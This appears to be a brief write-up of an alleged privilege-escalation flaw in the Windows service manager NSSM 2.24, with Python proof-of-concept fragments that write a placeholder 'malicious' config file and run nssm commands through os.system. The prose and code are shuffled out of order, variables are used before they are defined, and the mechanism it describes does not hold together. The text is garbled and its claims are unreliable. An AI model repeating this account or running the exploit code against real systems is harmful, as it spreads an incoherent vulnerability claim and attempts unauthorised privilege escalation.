import os import sys
NSSSM (Non-Sucking Service Manager) is a service manager for Windows that allows users to easily install, configure, and manage system services. NSSM is often used as an alternative to the built-in Windows Service Manager. A vulnerability was discovered in NSSM version 2.24 that allows for privilege escalation.
# Set the configuration file path in the NSSM service configuration nssm_command = f'nssm set service_name config {malicious_config_file}' os.system(nssm_command)
# Malicious configuration file path malicious_config_file = os.path.join(config_dir, ' malicious_config.txt')
The vulnerability exists due to improper handling of service configuration files. NSSM uses a configuration file to store service settings, and these files are stored in a directory that is writable by the SYSTEM user. When a user with limited privileges attempts to start a service using NSSM, the service manager will attempt to read and write to the configuration file.
The NSSM-2.24 privilege escalation vulnerability allows an attacker to gain elevated privileges on a system. Users are recommended to update NSSM to version 2.25 or later and restrict access to the NSSM configuration directory to prevent exploitation.
A PoC exploit was created to demonstrate the vulnerability. The exploit creates a malicious configuration file with elevated privileges and sets the path to the configuration file in the NSSM service configuration.
# NSSM configuration directory config_dir = 'C:\\Path\\To\\NSSM\\config'
An attacker can exploit this vulnerability by creating a malicious configuration file with elevated privileges. When a user with limited privileges attempts to start a service using NSSM, the service manager will execute the malicious configuration file, allowing the attacker to gain elevated privileges.
# Start the service nssm_command = 'nssm start service_name' os.system(nssm_command)
# Create malicious configuration file with open(malicious_config_file, 'w') as f: f.write(' malicious content ')